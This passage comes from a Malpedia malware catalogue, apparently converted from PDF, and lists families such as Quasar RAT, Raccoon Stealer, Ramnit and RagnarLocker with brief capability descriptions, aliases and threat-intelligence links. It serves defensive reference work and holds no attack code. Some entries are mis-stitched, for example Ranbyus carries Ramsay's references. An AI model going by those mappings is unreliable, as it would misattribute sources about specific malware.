<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.quarterrig">https://malpedia.caad.fkie.fraunhofer.de/details/win.quarterrig</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing">https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing</a></td>
</tr>
<tr>
<td><a href="https://www.gov.pl/attachment/6f51bb1a-3ad2-461c-a16d-408915a56f77">https://www.gov.pl/attachment/6f51bb1a-3ad2-461c-a16d-408915a56f77</a></td>
</tr>
</tbody>
</table>

Quasar RAT

Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.

The tag is: *misp-galaxy:malpedia=* "Quasar RAT"

Quasar RAT is also known as:

- CinaRAT
- QuasarRAT
<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/">https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://ti.360.net/blog/articles/analysis-of-apt-c-09-target-china/">https://ti.360.net/blog/articles/analysis-of-apt-c-09-target-china/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://research.openanalysis.net/quasar/chaos/rat/ransomware/2023/04/13/quasar-chaos.html">https://research.openanalysis.net/quasar/chaos/rat/ransomware/2023/04/13/quasar-chaos.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/snip3-crypter-reveals-new-ttps-over-time">https://www.zscaler.com/blogs/security-research/snip3-crypter-reveals-new-ttps-over-time</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.malwarelab.pl/posts/venom/">https://blog.malwarelab.pl/posts/venom/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape">https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/roboski-global-recovery-automation/">https://securityintelligence.com/posts/roboski-global-recovery-automation/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/syk-crypter-discord">https://blog.morphisec.com/syk-crypter-discord</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/">https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.minerva-labs.com/trapping-quasar-rat">https://blog.minerva-labs.com/trapping-quasar-rat</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html">https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf">https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf</a></td>
<td></td>
</tr>
<tr>
<td>URL</td>
<td></td>
</tr>
<tr>
<td>---------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/789153556255342596">https://twitter.com/malwrhunterteam/status/789153556255342596</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers">https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt">https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/uncovering-new-activity-by-apt-">https://www.fortinet.com/blog/threat-research/uncovering-new-activity-by-apt-</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-riverside">https://www.secureworks.com/research/threat-profiles/bronze-riverside</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols">https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://embee-research.ghost.io/hunting-quasar-rat-shodan">https://embee-research.ghost.io/hunting-quasar-rat-shodan</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.ciphertechsolutions.com/roboski-global-recovery-automation/">https://www.ciphertechsolutions.com/roboski-global-recovery-automation/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader">https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/aluminum-saratoga">https://www.secureworks.com/research/threat-profiles/aluminum-saratoga</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html">https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign">https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/privateloader-malware">https://intel471.com/blog/privateloader-malware</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage">https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4">https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://therecord.media/chinese-hackers-linked-to-months-long-attack-on-taiwanese-financial-sector/">https://therecord.media/chinese-hackers-linked-to-months-long-attack-on-taiwanese-financial-sector/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/">https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/</a></td>
<td></td>
</tr>
</tbody>
</table>
QuickHeal

The tag is: `misp-galaxy:malpedia="QuickHeal"`

QuickHeal is also known as:

Table 3893. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.quickheal">https://malpedia.caad.fkie.fraunhofer.de/details/win.quickheal</a></td>
</tr>
<tr>
<td><a href="https://medium.com/insomniacs/quarians-turians-and-quickheal-670b24523b42">https://medium.com/insomniacs/quarians-turians-and-quickheal-670b24523b42</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf</a></td>
</tr>
</tbody>
</table>

QUICKMUTE

QuickMute is a malware developed using the C/C++ programming language. Functionally provides download, RC4 decryption, and in-memory launch of the payload (waiting for a PE file with the export function "HttpsVictimMain"). To communicate with the management server, a number of protocols are provided, in particular: TCP, UDP, HTTP, HTTPS.

The tag is: `misp-galaxy:malpedia="QUICKMUTE"`

QUICKMUTE is also known as:

Table 3894. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.quickmute">https://malpedia.caad.fkie.fraunhofer.de/details/win.quickmute</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/375404">https://cert.gov.ua/article/375404</a></td>
</tr>
</tbody>
</table>

QUIETCANARY

The tag is: `misp-galaxy:malpedia="QUIETCANARY"`

QUIETCANARY is also known as:

- Kapushka
- Tunnus

Table 3895. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.quietcanary">https://malpedia.caad.fkie.fraunhofer.de/details/win.quietcanary</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/turla-galaxy-opportunity">https://www.mandiant.com/resources/blog/turla-galaxy-opportunity</a></td>
</tr>
</tbody>
</table>
**QuietSieve**

According to Microsoft, this is a heavily obfuscated .NET malware, primarily geared towards the exfiltration of data from the compromised host. But it can also receive and execute a remote payload from the operator.

The tag is: `misp-galaxy:malpedia="QuietSieve"`

**QuiteRAT**

QuiteRAT is a simple remote access trojan written with the help of Qt libraries.

After sending preliminary system information to its C&C server, it expects a response containing either a supported command code or an actual Windows command (like `systeminfo` or `ipconfig` with parameters) to execute.

It was deployed in a campaign exploiting a ManageEngine ServiceDesk vulnerability (CVE-2022-47966).

The tag is: `misp-galaxy:malpedia="QuiteRAT"`

**Qulab**

Qulab is an AutoIT Malware focusing on stealing & clipping content from victim’s machines.
The tag is: `misp-galaxy:malpedia="Qulab"`

Qulab is also known as:

Table 3898. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.qulab">https://malpedia.caad.fkie.fraunhofer.de/details/win.qulab</a></td>
</tr>
</tbody>
</table>

**QvoidStealer**

The tag is: `misp-galaxy:malpedia="QvoidStealer"`

QvoidStealer is also known as:

- Qvoid-Token-Grabber

Table 3899. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.qvoidstealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.qvoidstealer</a></td>
</tr>
<tr>
<td><a href="https://github.com/Enum0x539/Qvoid-Token-Grabber">https://github.com/Enum0x539/Qvoid-Token-Grabber</a></td>
</tr>
</tbody>
</table>

**r77**

According to the author, r77 is a ring 3 rootkit that hides everything: * Files, directories * Processes & CPU usage * Registry keys & values * Services * TCP & UDP connections * Junctions, named pipes, scheduled tasks

The tag is: `misp-galaxy:malpedia="r77"`

r77 is also known as:

- r77 Rootkit

Table 3900. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.r77">https://malpedia.caad.fkie.fraunhofer.de/details/win.r77</a></td>
</tr>
<tr>
<td><a href="https://github.com/bytecode77/r77-rootkit">https://github.com/bytecode77/r77-rootkit</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malmoeb/status/1523179260273254407">https://twitter.com/malmoeb/status/1523179260273254407</a></td>
</tr>
</tbody>
</table>

**r980**

The tag is: `misp-galaxy:malpedia="r980"`

r980 is also known as:
Raccoon

Raccoon Stealer is a malware reportedly sold for $75 a week or $200 a month. It gathers personal information including passwords, browser cookies and autofill data, as well as cryptowallet details. Additionally, Raccoon Stealer records system information such as IP addresses and geo-location data.

The tag is: misp-galaxy:malpedia="Raccoon"

Raccoon is also known as:

- Mohazo
- RaccoonStealer
- Racealer
- Racoon

Table 3902. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon">https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/GroupIB_GIB/status/1570821174736850945">https://twitter.com/GroupIB_GIB/status/1570821174736850945</a></td>
</tr>
<tr>
<td><a href="https://infosecwriteups.com/raccoon-stealer-v2-malware-analysis-55cc33774ac8">https://infosecwriteups.com/raccoon-stealer-v2-malware-analysis-55cc33774ac8</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/deep-analysis-of-raccoon-stealer-5da8cbbc4949">https://medium.com/s2wlab/deep-analysis-of-raccoon-stealer-5da8cbbc4949</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/">https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2021/10/21/raccoon-stealer-under-the-lens-a-deep-dive-analysis/">https://blog.cyble.com/2021/10/21/raccoon-stealer-under-the-lens-a-deep-dive-analysis/</a></td>
</tr>
<tr>
<td><a href="https://ke-la.com/information-stealers-a-new-landscape/">https://ke-la.com/information-stealers-a-new-landscape/</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/vladimirmartyanov/raccoon-stealer-trash-panda-abuses-telegram">https://decoded.avast.io/vladimirmartyanov/raccoon-stealer-trash-panda-abuses-telegram</a></td>
</tr>
<tr>
<td><a href="https://www.riskiq.com/blog/labs/magecart-medialand/">https://www.riskiq.com/blog/labs/magecart-medialand/</a></td>
</tr>
<tr>
<td><a href="https://team-cymru.com/blog/2022/03/23/raccoon-stealer-an-insight-into-victim-gates/">https://team-cymru.com/blog/2022/03/23/raccoon-stealer-an-insight-into-victim-gates/</a></td>
</tr>
</tbody>
</table>
Racket Downloader

Racket Downloader is an HTTP(S) downloader.

It uses a custom substitution cipher for decryption of its character strings, and RC5 with a 256-bit key for encryption and decryption of network traffic.

It sends an HTTP POST request containing a particular value that inspired its name, like "?product_field=racket" or "prd fld=racket".

Racket Downloader was deployed against South Korean targets running the Initech INISAFE CrossWeb EX software in Q2 2021 and Q1 2022.

The tag is: misp-galaxy:malpedia="Racket Downloader"

Racket Downloader is also known as:

Table 3903. Table References
Rad

The tag is: `misp-galaxy:malpedia="Rad"`

Rad is also known as:

Table 3904. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.rad

Radamant

The tag is: `misp-galaxy:malpedia="Radamant"`

Radamant is also known as:

Table 3905. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.radamant

RadRAT

The tag is: `misp-galaxy:malpedia="RadRAT"`

RadRAT is also known as:

Table 3906. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.radrat
RagnarLocker (Windows)

The tag is: misp-galaxy:malpedia="RagnarLocker (Windows)"

RagnarLocker (Windows) is also known as:

**Table 3907. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarlocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarlocker</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/modern-ransomware-groups-ttps/106824/">https://securelist.com/modern-ransomware-groups-ttps/106824/</a></td>
</tr>
<tr>
<td><a href="https://blog.reversing.xyz/docs/posts/unpacking_ragnarlocker_via_emulation/">https://blog.reversing.xyz/docs/posts/unpacking_ragnarlocker_via_emulation/</a></td>
</tr>
<tr>
<td><a href="https://blog.reversing.xyz/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html">https://blog.reversing.xyz/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/AltShiftPrtScn/status/1403707430765273095">https://twitter.com/AltShiftPrtScn/status/1403707430765273095</a></td>
</tr>
</tbody>
</table>
According to Bleeping Computer, the ransomware is used in targeted attacks against unpatched Citrix servers. It excludes Russian and Chinese targets using the system's Language ID for filtering. It also tries to disable Windows Defender and has a number of UNIX filepath references in its
strings. Encryption method is AES using a dynamically generated key, then bundling this key up via RSA.

The tag is: \textit{misp-galaxy:malpedia=“Ragnarok”}

Ragnarok is also known as:

\textit{Table 3908. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok">https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok</a></td>
</tr>
<tr>
<td><a href="https://www.tarlogic.com/blog/ragnarok-malware-stopper-vaccine/">https://www.tarlogic.com/blog/ragnarok-malware-stopper-vaccine/</a></td>
</tr>
<tr>
<td><a href="https://news.sophos.com/en-us/2020/05/21/asnarok2/">https://news.sophos.com/en-us/2020/05/21/asnarok2/</a></td>
</tr>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf</a></td>
</tr>
<tr>
<td><a href="https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozw3dVjz5sJOs-3">https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozw3dVjz5sJOs-3</a></td>
</tr>
</tbody>
</table>

\textbf{Raindrop}

Raindrop is a loader for Cobalt Strike that was observed in the SolarWinds attack.

The tag is: \textit{misp-galaxy:malpedia=“Raindrop”}

Raindrop is also known as:

\textit{Table 3909. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.raindrop">https://malpedia.caad.fkie.fraunhofer.de/details/win.raindrop</a></td>
</tr>
<tr>
<td><a href="https://www.sans.org/webcasts/contrarian-view-solarwinds-119515">https://www.sans.org/webcasts/contrarian-view-solarwinds-119515</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=GfbxHy6xnbA">https://www.youtube.com/watch?v=GfbxHy6xnbA</a></td>
</tr>
</tbody>
</table>
Rakhni

The tag is: `misp-galaxy:malpedia="Rakhni"`

Rakhni is also known as:

Table 3910. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rakhni">https://malpedia.caad.fkie.fraunhofer.de/details/win.rakhni</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/">https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/</a></td>
</tr>
</tbody>
</table>

Rambo

The tag is: `misp-galaxy:malpedia="Rambo"`

Rambo is also known as:

- brebsd

Table 3911. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rambo">https://malpedia.caad.fkie.fraunhofer.de/details/win.rambo</a></td>
</tr>
<tr>
<td><a href="https://securitykitten.github.io/2017/02/15/the-rambo-backdoor.html">https://securitykitten.github.io/2017/02/15/the-rambo-backdoor.html</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-overbrook">https://www.secureworks.com/research/threat-profiles/bronze-overbrook</a></td>
</tr>
</tbody>
</table>

Ramdo

The tag is: `misp-galaxy:malpedia="Ramdo"`

Ramdo is also known as:
Ramnit

According to Check Point, Ramnit is primarily a banking trojan, meaning that its purpose is to steal login credentials for online banking, which cybercriminals can sell or use in future attacks. For this reason, Ramnit primarily targets individuals rather than focusing on particular industries.

Ramnit campaigns have been observed to target organizations in particular industries. For example, a 2019 campaign targeted financial organizations in the United Kingdom, Italy, and Canada.

The tag is: misp-galaxy:malpedia="Ramnit"

Ramnit is also known as:

- Nimnul

Table 3913. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit">https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-fairfax">http://www.secureworks.com/research/threat-profiles/gold-fairfax</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=N4f2e8Mygag">https://www.youtube.com/watch?v=N4f2e8Mygag</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/">https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/ramnits-network-proxy-servers/">https://research.checkpoint.com/ramnits-network-proxy-servers/</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest">https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest</a></td>
</tr>
<tr>
<td><a href="https://muha2xmad.github.io/unpacking/ramnit/">https://muha2xmad.github.io/unpacking/ramnit/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/pe-file-infecting-malware-ot">https://www.mandiant.com/resources/pe-file-infecting-malware-ot</a></td>
</tr>
</tbody>
</table>
Ramsay

The tag is: misp-galaxy:malpedia="Ramsay"

Ramsay is also known as:

Table 3914. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ramsay">https://malpedia.caad.fkie.fraunhofer.de/details/win.ramsay</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=SKIu4LqMrns">https://www.youtube.com/watch?v=SKIu4LqMrns</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/05/13/ramsay-cyberspying-toolkit-airgapped-networks/">https://www.welivesecurity.com/2020/05/13/ramsay-cyberspying-toolkit-airgapped-networks/</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html">https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html</a></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html">https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html</a></td>
</tr>
</tbody>
</table>

Ranbyus

The tag is: misp-galaxy:malpedia="Ranbyus"

Ranbyus is also known as:

Table 3915. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ramsay">https://malpedia.caad.fkie.fraunhofer.de/details/win.ramsay</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=SKIu4LqMrns">https://www.youtube.com/watch?v=SKIu4LqMrns</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/05/13/ramsay-cyberspying-toolkit-airgapped-networks/">https://www.welivesecurity.com/2020/05/13/ramsay-cyberspying-toolkit-airgapped-networks/</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html">https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html</a></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html">https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html</a></td>
</tr>
</tbody>
</table>
Ranion

Ransomware.

The tag is: misp-galaxy:malpedia="Ranion"

Ranion is also known as:

Table 3916. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ranion">https://malpedia.caad.fkie.fraunhofer.de/details/win.ranion</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/ranion-ransomware-quiet-and-persistent-raas">https://www.fortinet.com/blog/threat-research/ranion-ransomware-quiet-and-persistent-raas</a></td>
</tr>
</tbody>
</table>

Ranscam

The tag is: misp-galaxy:malpedia="Ranscam"

Ranscam is also known as:

Table 3917. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ranscam">https://malpedia.caad.fkie.fraunhofer.de/details/win.ranscam</a></td>
</tr>
<tr>
<td><a href="http://blog.talosintel.com/2016/07/ranscam.html">http://blog.talosintel.com/2016/07/ranscam.html</a></td>
</tr>
</tbody>
</table>

Ransoc

The tag is: misp-galaxy:malpedia="Ransoc"

Ransoc is also known as:

Table 3918. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
RansomEXX (Windows)

RansomEXx is a ransomware family that targeted multiple companies starting in mid-2020. It shares commonalities with Defray777.

The tag is: misp-galaxy:malpedia="RansomEXX (Windows)"

RansomEXX (Windows) is also known as:

- Defray777
- Ransom X

Table 3919. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/
https://github.com/Bleeping/Ransom.exx
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4
https://medium.com/proferosec-osm/ransomexx-fixing-corrupted-ransom-8e379bcf701
https://www.youtube.com/watch?v=qxPXxWMI2i4
https://id-ransomware.blogspot.com/2020/06/ransomexx-ransomware.html
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/
Ransomlock

The tag is: misp-galaxy:malpedia="Ransomlock"

Ransomlock is also known as:

• WinLock

Table 3920. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomlock
https://forum.malekal.com/viewtopic.php?t=36485&start=

SNC

Ransomware SNC is a ransomware who encrypts files and asks for a variable amount of Bitcoin before releasing the decryption key to your files. The threat actor asks to be contacted for negotiating the right ransom fee.
The tag is: `misp-galaxy:malpedia="SNC"`

SNC is also known as:

Table 3921. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomware_snc">https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomware_snc</a></td>
</tr>
<tr>
<td><a href="https://yomi.yoroi.company/report/5deea91bac2ea1dcf5337ad8/5deead588a4518a7074dc6e6/overview">https://yomi.yoroi.company/report/5deea91bac2ea1dcf5337ad8/5deead588a4518a7074dc6e6/overview</a></td>
</tr>
</tbody>
</table>

**Rapid Ransom**

InfinityGroup notes that Rapid Ransomware, unlike regular Ransomware, stays active on the computer after initially encrypting the systems and also encrypts any new files that are created. It does this by creating auto-runs that are designed to launch the ransomware and display the ransom note every time the infected system is started.

The tag is: `misp-galaxy:malpedia="Rapid Ransom"`

Rapid Ransom is also known as:

Table 3922. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom">https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/997748495888076800">https://twitter.com/malwrhunterteam/status/997748495888076800</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/977275481765613569">https://twitter.com/malwrhunterteam/status/977275481765613569</a></td>
</tr>
<tr>
<td><a href="https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do">https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=LUXOcpIRxmg">https://www.youtube.com/watch?v=LUXOcpIRxmg</a></td>
</tr>
</tbody>
</table>

**RapidStealer**

A spy trojan is a type of malware that has the capability to gather information from the infected system without consent from the user. This information is then sent to a remote attacker.

The tag is: `misp-galaxy:malpedia="RapidStealer"`

RapidStealer is also known as:

Table 3923. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_stealer</a></td>
</tr>
</tbody>
</table>
Rarog

The tag is: misp-galaxy:malpedia="Rarog"

Rarog is also known as:

Table 3924. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rarog">https://malpedia.caad.fkie.fraunhofer.de/details/win.rarog</a></td>
</tr>
<tr>
<td><a href="https://tracker.fumik0.com/malware/Rarog">https://tracker.fumik0.com/malware/Rarog</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-smoking-rarog-mining-trojan/">https://unit42.paloaltonetworks.com/unit42-smoking-rarog-mining-trojan/</a></td>
</tr>
</tbody>
</table>

rarstar

This ransomware encrypts all user's data on the PC (photos, documents, excel tables, music, videos, etc), adds its specific extension to every file, and creates the HOW_TO_DECYPHER_FILES.txt files in every folder which contains encrypted files.

The tag is: misp-galaxy:malpedia="rarstar"

rarstar is also known as:

Table 3925. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar">https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses">https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses</a></td>
</tr>
</tbody>
</table>

Raspberry Robin

Worm spread by external drives that leverages Windows Installer to reach out to QNAP-associated domains and download a malicious DLL.

